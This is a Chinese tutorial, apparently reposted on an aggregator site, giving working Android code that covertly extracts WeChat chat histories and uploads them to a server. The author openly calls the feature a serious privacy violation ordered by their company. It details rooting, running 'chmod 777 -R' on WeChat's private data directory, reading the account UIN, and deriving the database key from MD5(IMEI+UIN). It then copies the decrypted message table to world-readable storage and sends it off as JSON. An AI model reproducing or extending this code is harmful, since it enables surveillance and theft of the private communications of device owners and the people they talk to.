带你一步步破解Android微信聊天记录解决方案

2023-05-16

哪个小可爱在偷偷的看我~~
偷瞄.gif
前言
最近公司需要做个内部应用,需求有通话并录音上传服务器,微信聊天记录上传服务器,我擦,竟然要做严重窃取隐私的功能,一万个草泥马奔腾而来,于是乎开始研究如何实现,网上的文章都不是很详细,本篇文章带你来一步步实现如何获取微信聊天记录,通话录音上传另一篇文章将予介绍

微信的聊天记录保存在Android内核中,路径如下:
“/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db” `目录下。

说明
1、微信聊天记录数据库它并不是保存sd卡下,而是保存在内核中,手机是看不到此目录,只有root过后才可以看到,至于如何Root这里就不做介绍了,如今手机越来越趋向于安全方面,所以root比较费事
2、数据库保存在data/data目录下,我们需要访问此目录以获得我们需要的信息,直接访问权限还是不够,此时需要进一步获取root权限
3、代码打开数据库,会遇到如下几个问题
(1) 微信数据库是加密文件,需要获取密码才能打开,数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
(2) 微信数据库路径是一长串数字,如5a670a2e0d0c10dea9c7a4a49b812ce4,文件生成规则《MD5(“mm”+微信UIN)》 ,注:mm是字符串和微信uin拼接到一起再md5
(3) 直接连接数据库微信会报异常,所以需要我们将数据库拷贝出来再进行打开
(4) 获取微信UIN,目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml中,_auth_uin字段下的value
(5) 获取数据库密码,密码规则为:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打开加密数据库,因为微信数据是sqlite 2.0,所以需要支持2.0才可以打开,网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但经测试不可行,后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
5、开始查找需要的内容,剩下的就是sq语言了,聊天记录在message表中,好友在rcontact表中,群信息在chatroom表中等,根据自己需求去查找
6、为了更直观的看到表结构去操作,可以用sqlcipher去查看下载地址
开始一步步实现
1、获取root手机
有好多root工具,经过踩坑是一键root不了6.0以上手机的,大家可以去选择其他方案去获取root手机
2、项目获取微信数据库目录路径root最高权限
因为只有获取了root最高权限才可以对文件进行操作,通过Linux命令去申请chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下

/**
     * execRootCmd("chmod 777 -R /data/data/com.tencent.mm");
     * <p>
     * 执行linux指令 获取 root最高权限
     */
    public static void execRootCmd(String paramString) {
        try {
            Process localProcess = Runtime.getRuntime().exec("su");
            Object localObject = localProcess.getOutputStream();
            localDataOutputStream = new DataOutputStream((OutputStream) localObject);
            String str = String.valueOf(paramString);
            localObject = str + "\n";
            localDataOutputStream.writeBytes((String) localObject);
            localDataOutputStream.flush();
            localDataOutputStream.writeBytes("exit\n");
            localDataOutputStream.flush();
            localProcess.waitFor();
            localObject = localProcess.exitValue();
        } catch (Exception localException) {
            localException.printStackTrace();
        }finally {
            if (localDataOutputStream!=null){
                try {
                    localDataOutputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

3、拿到数据库EnMicroMsg.db路径
先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因为EnMicroMsg.db父级路径不同微信号是会变的,所以需要动态去获取,父级路径生成规则为**《MD5(“mm”+微信UIN)》**,下一步我们需要获取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db
4、获取微信uin
微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中,如图所示
uin.jpg
拿到此文件我们需要xml文件解析才可以获得_auth_uinvalue,解析工具dom4j下载地址

/**
     * 获取微信的uid
     * 目标 _auth_uin
     * 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
     */
    public static String initCurrWxUin(final Activity context) {
        String mCurrWxUin = null;
        File file = new File(WX_SP_UIN_PATH);
        try {
            in = new FileInputStream(file);
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(in);
            Element root = document.getRootElement();
            List<Element> elements = root.elements();
            for (Element element : elements) {
                if ("_auth_uin".equals(element.attributeValue("name"))) {
                    mCurrWxUin = element.attributeValue("value");
                }
            }

            return mCurrWxUin;
        } catch (Exception e) {
            e.printStackTrace();
            if(MainActivity.isDebug){
                Log.e("initCurrWxUin", "获取微信uid失败,请检查auth_info_key_prefs文件权限");
            }
            context.runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                }
            });

        }finally {
            try {
                if(in!=null){
                    in.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return "";
    }

5、获取微信数据库密码
密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上边我们已经获取了微信uin,接下来需要获取手机IMEI,
获取方法1:在手机拨号键输入:*#06# 即可获取
获取方法2:代码中获取

/**
     * 获取手机的imei
     *
     * @return
     */
    @SuppressLint("MissingPermission")
    private static String getPhoneIMEI(Context mContext) {

        String id;
        //android.telephony.TelephonyManager
        TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (mTelephony.getDeviceId() != null) {
            id = mTelephony.getDeviceId();
        } else {
            //android.provider.Settings;
            id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
        }
        return id;
    }

接下来需要生成密码

/**
     * 根据imei和uin生成的md5码获取数据库的密码
     *
     * @return
     */
    public static String initDbPassword(final Activity mContext) {
        String imei = initPhoneIMEI(mContext);
        //以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2
        if("868739046004754".equals(imei)){
            imei = "99001184251238";
        }
        else if("99001184249875".equals(imei)){
            imei = "868739045977497";
        }
        String uin = initCurrWxUin(mContext);
        if(BaseApp.isDebug){
            Log.e("initDbPassword", "imei===" + imei);
            Log.e("initDbPassword", "uin===" + uin);
        }
        try {
            if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {
                if(BaseApp.isDebug){
                    Log.e("initDbPassword", "初始化数据库密码失败:imei或uid为空");
                }
                mContext.runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                    }
                });
                return "";
            }
            String md5 = Md5Utils.md5Encode(imei + uin);
            String password = md5.substring(0, 7).toLowerCase();
            if(BaseApp.isDebug){
                Log.e("initDbPassword", password);
            }
            return password;
        } catch (Exception e) {
            if(BaseApp.isDebug){
                Log.e("initDbPassword", e.getMessage());
            }
        }
        return "";
    }

6、复制数据库
为啥要复制数据库呢?因为直接去链接数据库微信会奔溃,所以我们需要将数据库拷贝出来再进行操作
踩坑1:数据库复制的路径也需要获取root权限,即Linux 的chmod 777 -R去申请
踩坑2:复制的路径如果是二级目录,需要一级一级去申请
于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
复制数据库 FileUtilCopy.copyFile(path, copyFilePath);

public class FileUtilCopy {
    private static FileOutputStream fs;
    private static InputStream inStream;

    /**
     * 复制单个文件
     *
     * @param oldPath String 原文件路径 如:c:/fqf.txt
     * @param newPath String 复制后路径 如:f:/fqf.txt
     * @return boolean
     */
    public static void copyFile(String oldPath, String newPath) {
        try {
            int byteRead = 0;
            File oldFile = new File(oldPath);

            //文件存在时
            if (oldFile.exists()) {
                //读入原文件
                inStream = new FileInputStream(oldPath);
                fs = new FileOutputStream(newPath);
                byte[] buffer = new byte[1444];
                while ((byteRead = inStream.read(buffer)) != -1) {
                    fs.write(buffer, 0, byteRead);
                }
            }

        } catch (Exception e) {
            if (BaseApp.isDebug) {
                Log.e("copyFile", "复制单个文件操作出错");
            }
            e.printStackTrace();
        } finally {
            try {
                if (inStream != null) {
                    inStream.close();
                }
                if (fs != null) {
                    fs.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
}

7、打开数据库
注:网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的,但经过测试打不开
于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0,微信还是对自家人友善

 /**
     * 连接数据库
     */
    public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {

        SQLiteCipherSpec cipher = new SQLiteCipherSpec()  // 加密描述对象
                .setPageSize(1024)        // SQLCipher 默认 Page size 为 1024
                .setSQLCipherVersion(1);  // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库

        try {
            //打开数据库连接
            System.out.println(dbFile.length() + "================================");
            SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(
                    dbFile,     // DB 路径
                    mDbPassword.getBytes(),  // WCDB 密码参数类型为 byte[]
                    cipher,                 // 上面创建的加密描述对象
                    null,                   // CursorFactory
                    null                    // DatabaseErrorHandler
                    // SQLiteDatabaseHook 参数去掉了,在cipher里指定参数可达到同样目的
            );
            //获取消息记录
            getReMessageData(db);
        } catch (Exception e) {
            Log.e("openWxDb", "读取数据库信息失败" + e.toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    showToast("读取数据库信息失败");
                    L.e("读取数据库信息失败");
                }
            });
        }
    }

8、演示获取微信聊天记录并上传
可以让后台保存最后上传时间,下次上传新消息时用最后时间取查
注:微信数据库时间精确到毫秒

String messageSql = "select * from message where  createTime >";

    /**
     * 获取聊天记录并上传
     *
     * @param db
     */
    public void getReMessageData(SQLiteDatabase db) {
        Cursor cursor3 = null;
        if (BaseApp.isDebug) {
//            Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));
        }
        try {
            //判断是否强制更新所有的记录
            if (mLastTime == 0) {
                //如果是选择全部,则sql 为0
                if (true) {
                    cursor3 = db.rawQuery(messageSql + 0, null);
                    Log.e("query", "更新状态:更新全部记录" + messageSql + 0);
                } else {
                    //不是选择全部,则sql 为用户输入值
//                    String searchMessageSql = messageSql + addTimestamp+ "  and createTime < "+endTimestamp;
//                    cursor3 = db.rawQuery(searchMessageSql, null);
//                    Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql);
                }
            } else {
                Log.e("query", "按时间节点查询" + messageSql +mLastTime);
                cursor3 = db.rawQuery((messageSql + mLastTime), null);
//                Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime);
            }

            List<WeChatMessageBean> weChatMessageBeans = new ArrayList<>();

            while (cursor3.moveToNext()) {
                String content = cursor3.getString(cursor3.getColumnIndex("content"));

                if (content != null && !TextUtils.isEmpty(content)) {

                    WeChatMessageBean messageBean = new WeChatMessageBean();
                    String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));
                    int type = cursor3.getInt(cursor3.getColumnIndex("type"));
                    int status = cursor3.getInt(cursor3.getColumnIndex("status"));
                    int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));
                    String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));
                    String talker = cursor3.getString(cursor3.getColumnIndex("talker"));

                    messageBean.setMsg_id(msg_id);
                    messageBean.setType(type);
                    messageBean.setStatus(status);
                    messageBean.setIs_send(is_send);
                    messageBean.setCreate_time(create_time);
                    messageBean.setContent(content);
                    messageBean.setTalker(talker);
                    weChatMessageBeans.add(messageBean);
                }
            }
            if (weChatMessageBeans.size() < 1) {
                L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");
                return;
            }

            //3.把list或对象转化为json
            Gson gson2 = new Gson();
            String str = gson2.toJson(weChatMessageBeans);
            if (BaseApp.isDebug) {
                Logger.json(str);
            }
            //上传服务器
            mPresenter.getWechatRecordSuccess(str);

        } catch (Exception e) {
            Log.e("openWxDb", "读取数据库信息失败" + e.toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    L.e("读取数据库信息失败");
                    showToast("读取数据库信息失败");

                }
            });
        } finally {
            if (cursor3 != null) {
                cursor3.close();
            }
            if (db != null) {
                db.close();
            }
        }

    }

9、pc端更直观去查看数据库结构可通过sqlcipher去查看下载地址
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
将数据库EnMicroMsg.db拷贝到电脑上
用SQLit打开
数据库1.png

数据库2.png
数据库3.png



最后祝大家开发愉快!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

带你一步步破解Android微信聊天记录解决方案 的相关文章

随机推荐

  • MySQL转换为SqlServer数据库

    如何将MySQL数据导入到SqlServer中 xff0c 请看以下步骤 xff1a 1 安装mysql数据库的ODBC驱动 xff0c mysql connector odbc 3 51 19 win32 msi 2 打开控制面板管理工具
  • DataTimePicker数据绑定遇到Null时异常的原因

    DateTimePicker1 DataBindings Add 34 Value 34 bindingSource1 34 assessortime 34 如果字段 assessortime的值 为 null 时 就会出现异常 后来发现
  • c#中DataTable与实体集合相互转换

    以下是将集合类转换成DataTable lt summary gt 将集合类转换成DataTable lt summary gt lt param name 61 34 list 34 gt 集合 lt param gt lt return
  • 用Linux命令行生成随机密码的十种方法

    转载自 极客范 xff0c 不得不夸夸强大的Bash啊 xff01 xff01 xff01 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
  • C++20 Ranges

    VS2019 C 43 43 20的Ranges 01 引入范围的动机02 范围 ranges 03 range v3库04 C 43 43 20 range demo 01 引入范围的动机 C 43 43 17以前的标准库中大多数通用算法
  • 面向对象分析设计步骤

    一 创建用例 初步确定用例 xff1a 1 确定参与者 2 确定用例 xff08 系统操作 xff09 3 确定参与者与用例之间的关系 用例细节描述 xff1a 1 用例名称 2 操作详细描述 3 前置条件描述 4 部署约束 5 正常事件流
  • collect2: ld terminated with signal 9 错误解决办法

    编译android是出现如下错误 xff1a target Java CameraEffectsTests out target common obj APPS CameraEffectsTests intermediates classe
  • 浅谈Stein算法求最大公约数(GCD)的原理及简单应用

    一 Stein算法过程及其简单证明 1 一般步骤 xff1a s1 当两数均为偶数时将其同时除以2至至少一数为奇数为止 xff0c 记录除掉的所有公因数2的乘积k xff1b s2 如果仍有一数为偶数 xff0c 连续除以2直至该数为奇数为
  • 【已解决】@Configration爆红

    64 Configration爆红 问题原因 xff1a 一 xff1a 没有添加依赖 二 xff1a 添加依赖了 xff0c 但是依赖版本过低 解决方法 xff1a 把依赖的版本改的高一点 span class token generic
  • 关于冒泡排序的程序( 第三次作业)

    此前想过把两种排序方式都一起写在一个工程文件里 xff0c 但做了下 xff0c 能力有限 xff0c 没法写完整 xff0c 所以就只能分别写 xff0c 这个是冒泡排序 xff0c 代码已尽量做到准确的注释 xff0c 希望提醒自己往后
  • BSS段

    深入理解计算机系统 bss段 xff0c data段 text段 堆 heap 和栈 stack 1 关于BSS段的大小 2 1 BSS段中的内容 2 2 BSS段在加载运行前的处理 3 3 BSS段的作用 3 4 代码优化对BSS段的影响
  • Java 比较两个List对象差集(根据某一值)

    很多都是比较List lt String gt 的 xff0c 和自身业务不符 xff0c jdk1 8 新特性强大的Stream API xff0c 具体是什么方法 xff0c 什么作用自行百度 xff0c 复制粘贴可以解决问题就OK 4
  • Windows10 安装Redis(图文教程)

    Redis xff08 Remote Dictionary Server xff0c 即远程字典服务 xff0c 是一个开源的使用ANSI C语言编写 支持网络 可基于内存亦可持久化的日志型 Key Value数据库 一 下载redis客户
  • e17 enlightenment 介绍及配置

    为什么要有一个窗口管理器 为什么一定要有一个桌面背景 xff0c 甚至是标题栏 或是如果把一个应用程序如firefox当成桌面背景行不行 桌面能不能再快一点 我不想把资源浪费在那些用不到的地方 Linux那么多虚拟桌面 xff0c 为什么我
  • Vim: Warning: input is not from a terminal 后退出 vim 终端异常

    Vim Warning input is not from a terminal 后退出 vim 终端异常 今天执行了如下命令调用 vi 来打开 find 搜索到的文件 xff1a longyu 64 longyu pc span clas
  • UNPV2 学习:Posix Message Queues

    文章目录 特点消息队列的释放mq notify 函数mq notify 使用信号通知消息到达直接在信号处理函数中调用 mq notify 与 mq receive 函数来接收数据在信号处理函数中设置标志在程序主逻辑中调用 mq notify
  • VMware ESXI虚拟机磁盘在线扩容后fdisk -l 找不到问题解决

    VMware ESXI虚拟机磁盘在线扩容后fdisk l 找不到问题解决 在VMware ESXI终端页面为虚拟机新增磁盘后 xff0c 进入虚拟机执行fdisk l 找不到新增的盘 重启系统肯定是可以解决的 xff0c 但是机器有在跑测试
  • go调用python

    安装 安装python和go的环境 xff0c 在debian和ubuntu系统上 xff0c 还要sudo apt install python all dev安装sudo apt get install pkg config安装go g
  • C++ 20 Concept 语法

    requires expression 一种表达式 xff0c 它很像一个lambda表达式 xff0c 一个未命名元函数 例如 xff1a requires int a int b a 43 b 其中 xff1a xff08 xff09
  • 带你一步步破解Android微信聊天记录解决方案

    哪个小可爱在偷偷的看我 前言 最近公司需要做个内部应用 xff0c 需求有通话并录音上传服务器 xff0c 微信聊天记录上传服务器 xff0c 我擦 xff0c 竟然要做严重窃取隐私的功能 xff0c 一万个草泥马奔腾而来 xff0c 于是